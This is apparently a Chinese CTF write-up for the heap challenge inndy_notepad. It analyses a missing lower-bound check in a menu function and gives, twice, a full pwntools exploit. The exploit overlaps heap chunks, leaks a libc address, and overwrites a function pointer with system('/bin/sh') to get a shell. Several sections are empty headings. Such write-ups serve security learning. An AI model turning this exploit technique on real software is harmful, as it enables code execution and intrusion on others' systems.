其他
一个堆题inndy_notepad的练习笔记
本文为看雪论坛优秀文章
看雪论坛作者ID:uniquew
1
题目分析
基本信息分析
# file notepad
notepad: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=65aa4834fcd253be2490ea1dc24a0c582f0cbb6f, not stripped
# checksec notepad
Arch: i386-32-little
RELRO: Partial RELRO # 可写got
Stack: Canary found #如果要栈溢出,需要考虑canary的问题
NX: NX enabled #不可以在栈上,bss段上布局shellcode,因为不可执行
PIE: No PIE (0x8048000) # 很开心,本程序每次加载的地址都是固定的
2
功能分析&找茬
主函数
menu:
int __cdecl menu(int a1)
{
int result; // eax
int i; // [esp+8h] [ebp-10h]
int v3; // [esp+Ch] [ebp-Ch]
for ( i = 0; *(4 * i + a1); ++i )
printf("%c> %s\n", i + 97, *(4 * i + a1));
printf("::> ");
v3 = getchar() - 'a';
freeline();
if ( v3 < i ) # 没有检查下界???此时一定要标记出来这个函数有问题,不然后面就忘了 --!
result = v3 + 1;
else
result = 0;
return result;
}
bash:
unsigned int bash()
{
char s; // [esp+Ch] [ebp-8Ch] #128没毛病
unsigned int v2; // [esp+8Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
printf("inndy ~$ ");
fgets(&s, 128, stdin);
rstrip(&s); #替换一些特殊字符,没毛病
printf("bash: %s: command not found\n", &s);
return __readgsdword(0x14u) ^ v2;
}
cmd:
unsigned int cmd()
{
char s; // [esp+Ch] [ebp-8Ch] #128没毛病
unsigned int v2; // [esp+8Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
puts("Microhard Wind0ws [Version 3.1.3370]");
puts("(c) 2016 Microhard C0rporat10n. A11 rights throwed away.");
puts(&byte_8049371);
printf("C:\\Users\\Inndy>");
fgets(&s, 128, stdin);
rstrip(&s);
printf("'%s' is not recognized as an internal or external command\n", &s);
return __readgsdword(0x14u) ^ v2;
}
notepad:
主要的功能函数,下面分析
进入notepad函数:
menu
函数负责显示菜单,并且根据输入选择执行功能。前面提到,这个函数可以输出一个负数,但是貌似在这没有什么用!跳过
notepad_new
见下面
notepad_open
见下面
notepad_delete
见下面
notepad_rdonly
用于分析note struct字段
notepad_keepsec
用于分析note struct字段
notepad_new
notepad_open:
notepad_delete:
3
一个邪恶的计划
4
exploit
#!/usr/bin/python
#coding:utf-8
from pwn import *
from LibcSearcher import *
context(arch="amd64", os="linux")
context.log_level = 'debug'
context.terminal = ['terminator','-x','sh','-c']
#
#--------------------
# 连接选项
#--------------------
is_local = 1
local_path = './notepad'
addr = 'node4.buuoj.cn'
port = 25207
if is_local:
io = process(local_path)
else:
io = remote(addr,port)
#--------------------
# 调试选项
#--------------------
def debug(cmd):
gdb.attach(io, cmd)
# pause()
#--------------------
# 常用函数
#--------------------
se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
rc = lambda num :io.recv(num)
rl = lambda :io.recvline()
ra = lambda :io.recvall()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
info = lambda tag, addr :log.info(tag + " -> " + hex(addr))
ia = lambda :io.interactive()
halt = lambda :io.close()
elf=ELF(local_path)
libc = ELF('./libc.so')
p_free_plt=elf.plt['free']
p_puts_plt=elf.plt['puts']
p_=elf.symbols['main']
def notepad_new(size, data):
sla(b'::>', b'a')
sla(b'size >', str(size).encode('utf-8'))
sla(b'data >', data)
# sleep(0.1)
def notepad_open(id, offset):
sla(b'::>', b'b')
sla(b'id >', str(id).encode('utf-8'))
sla(b'(Y/n)', b'n')
sla(b'::>', chr(ord('a')+offset))
return ru(b'note closed')
def notepad_edit(id, offset, content): # 与上面一个open函数的区别是这里可以编辑内容
sla(b'::>', b'b')
sla(b'id >', str(id).encode('utf-8'))
sla(b'(Y/n)', b'y')
sla(b'content >', content)
ru(b'note saved')
sla(b'::>', chr(ord('a')+offset))
ru(b'note closed')
def notepad_delete(id):
sla(b'::>', b'c')
sla(b'id >', str(id).encode('utf-8'))
notepad_new(0x60, b'aaaa') #0
notepad_new(0x60, b'aaaa') #1 or A
notepad_new(0x60, b'aaaa') #2 or B
notepad_new(0x60, b'aaaa') #3
notepad_edit(1, 0, b'b'*(0x60-4) + p32(p_free_plt)) # 编辑A的内容包含free的指针,指针放在A的最后四个字节
#根据menu函数中下界没有检查的问题,将eip指向B(notepad_show函数的位置)前3个dword(从后往前数,前两个dword是堆块的头,第三个块是前一个块的数据)的位置,也就是前一个块的最后四个字节(free函数的地址)
#此时free函数的地址是当前块的首地址,因此下面这个操作的目的是释放当前块
notepad_open(2, -3) # free 2
notepad_delete(1) # free 1 A
为什么两个size=0x60释放后是size=0xf1.
1、首先由于在unsorted bin 中,两个块进行了合并,0x60 + 0x60 = 0xC0
2、由于每个chunk都会包含一个头部,本例中头部为0x10 2,则0xC0+0x102 = 0xF0
3、由于该块的前一个块(0x9579000)处于使用状态,所以该块的PREV_INUSE是1,所以0xF0 + 0x1 = 0xF1
4、同理可解释其他块
notepad_new(0xf1-0x10 - 0x8, b'b'*(0x60 -4 + 4) + p32(p_puts_plt) + b'b'*2) # alloc 1+2
pre_size字段,如果上一个块处于释放状态,用于表示其大小,否则上一个块处于使用状态时,pre_size为上一个块的一部分,用于保存上一个块的数据。可以通过观察0x9579168地址处验证
notepad_new(0xf1-0x10 - 0x8, b'b'*(0x60 -4 + 4) + p32(p_puts_plt) + b'b'*2) # alloc 1+2
main_area_addr = notepad_open(2, -2)[1:5]
main_area_addr = u32(main_area_addr) - 48
print(hex(main_area_addr))
libc_base = main_area_addr - 0x1B3780 # 从libc文件中的malloc_trim函数第4行获取
p_system = libc_base + libc.symbols['system']
notepad_edit(1, 0, b'b'*(0x60-4 + 4) + p32(p_system) + b'b'*4 + b'/bin/sh')
sla(b'::>', b'b')
sla(b'id >', str(2).encode('utf-8'))
# sla(b'(Y/n)', b'n')
sla(b'::>', chr(ord('a')-2))
# ra()
ia()
完整exp奉上
#!/usr/bin/python
#coding:utf-8
from pwn import *
from LibcSearcher import *
context(arch="amd64", os="linux")
context.log_level = 'debug'
context.terminal = ['terminator','-x','sh','-c']
#
#--------------------
# 连接选项
#--------------------
is_local = 1
local_path = './notepad'
addr = 'node4.buuoj.cn'
port = 25207
if is_local:
io = process(local_path)
else:
io = remote(addr,port)
#--------------------
# 调试选项
#--------------------
def debug(cmd):
gdb.attach(io, cmd)
# pause()
#--------------------
# 常用函数
#--------------------
se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
rc = lambda num :io.recv(num)
rl = lambda :io.recvline()
ra = lambda :io.recvall()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
info = lambda tag, addr :log.info(tag + " -> " + hex(addr))
ia = lambda :io.interactive()
halt = lambda :io.close()
elf=ELF(local_path)
libc = ELF('./libc.so')
p_free_plt=elf.plt['free']
p_puts_plt=elf.plt['puts']
p_=elf.symbols['main']
def notepad_new(size, data):
sla(b'::>', b'a')
sla(b'size >', str(size).encode('utf-8'))
sla(b'data >', data)
# sleep(0.1)
def notepad_open(id, offset):
sla(b'::>', b'b')
sla(b'id >', str(id).encode('utf-8'))
sla(b'(Y/n)', b'n')
sla(b'::>', chr(ord('a')+offset))
return ru(b'note closed')
def notepad_edit(id, offset, content):
sla(b'::>', b'b')
sla(b'id >', str(id).encode('utf-8'))
sla(b'(Y/n)', b'y')
sla(b'content >', content)
ru(b'note saved')
sla(b'::>', chr(ord('a')+offset))
ru(b'note closed')
def notepad_delete(id):
sla(b'::>', b'c')
sla(b'id >', str(id).encode('utf-8'))
sla(b'::>', b'c')
debug_cmd = '''
b *0x08048CE8
c
'''
# open 8048E46
# call eax 08048CE8
# 08048CBF
notepad_new(0x60, b'aaaa')
notepad_new(0x60, b'aaaa')
notepad_new(0x60, b'aaaa')
notepad_new(0x60, b'aaaa')
#
notepad_edit(1, 0, b'b'*(0x60-4) + p32(p_free_plt))
#根据menu函数中下界没有检查的问题,将eip指向notepadshow函数前3个dword的位置,也就是前一个块的最后四个字节(free函数的地址)
#此时free函数的地址是当前块的首地址,因此下面这个操作的目的是释放当前块
# debug(debug_cmd)
notepad_open(2, -3) # free 2
notepad_delete(1) # free 1
notepad_new(0xf1-0x10 - 0x8, b'b'*(0x60 -4 + 4) + p32(p_puts_plt) + b'b'*2) # alloc 1+2
main_area_addr = notepad_open(2, -2)[1:5]
main_area_addr = u32(main_area_addr) - 48
print(hex(main_area_addr))
libc_base = main_area_addr - 0x1B3780 # 从libc文件中的malloc_trim函数第4行获取
p_system = libc_base + libc.symbols['system']
# notepad_delete(1)
# notepad_new(0x60, b'aaaa')
# notepad_new(0x60, b'bbbb')
notepad_edit(1, 0, b'b'*(0x60-4 + 4) + p32(p_system) + b'b'*4 + b'/bin/sh')
# debug(debug_cmd)
# notepad_open(2, -2)
sla(b'::>', b'b')
sla(b'id >', str(2).encode('utf-8'))
# sla(b'(Y/n)', b'n')
sla(b'::>', chr(ord('a')-2))
# ra()
ia()
# ldd notepad
linux-gate.so.1 => (0xf7f29000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d54000)
/lib/ld-linux.so.2 (0xf7f2b000)
5
总结
参考资料:
看雪ID:uniquew
https://bbs.pediy.com/user-home-474422.htm
# 往期推荐
4.Android APP漏洞之战——Activity漏洞挖掘详解
球分享
球点赞
球在看
点击“阅读原文”,了解更多!